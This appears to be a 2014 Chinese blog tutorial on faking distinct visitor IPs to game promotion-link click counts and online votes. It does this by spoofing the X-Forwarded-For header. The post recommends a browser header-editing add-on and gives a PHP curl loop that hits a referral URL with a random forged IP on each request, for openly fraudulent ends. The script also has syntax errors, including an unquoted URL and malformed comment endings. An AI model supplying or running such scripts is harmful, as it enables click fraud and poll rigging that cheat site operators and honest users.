设置密码

验证码错误,请重新填写

免费建站旅程马上开始

开始建站
建站中

已有帐号?直接登录

首页>森动学院>网站建设教程 > 如何伪造不同IP点击推广链接?
如何伪造不同IP点击推广链接?
发布时间: 2014-06-23
经常会看到有人在群里寻求帮助,比如,帮小孩在什么网上投票之类;有时,一些论坛要求任务推广,要有不同IP访问某个链接,今天看到有文章介绍,顺便做个笔记。

ip地址现在是非常重要的判断用户唯一性的方法,很多网络投票还有一些唯一性要求较高的场合都用ip地址作为主要判断依据。网上投票、点击推广之类真的可以通过伪造ip来做吗?ip地址能够伪造吗?它又是什么原理呢?是需要在TCP/IP协议上做手脚吗?

由于某些网站是通过请求头的”X-Forwarded-For”值来获取访问者的ip,而请求头是可以修改的,所以很多网站都可以通过伪造请求头来绕过ip检测。

利用火狐浏览器的”Moify Headers”插件可以修改请求头信息。在插件中把请求头的”X-Forwarded-For”的值进行修改。

接一个新手任务,该任务要求有5个ip访问推广地址。使用curl可以修改请求头信息,执行下面的php代码,可以瞬间完成任务:

<?php
for ($i = 0; $i < 5; $i++) {           /*根据需要,最大值5可以更改 * /
    task();
}
 
function task() {
    $url = http://www.xxx.com/?fromuid=272539;     /*此处要填写需要点击的链扫 * /
    $ip = "100.100.".rand(1, 255).".".rand(1, 255);
    $headers = array("X-FORWARDED-FOR:$ip");
 
    $curl = curl_init($url);
    curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($curl, CURLOPT_USERAGENT,  "Mozilla/4.0");
    $src = curl_exec($curl);
    curl_close($curl);
}
?>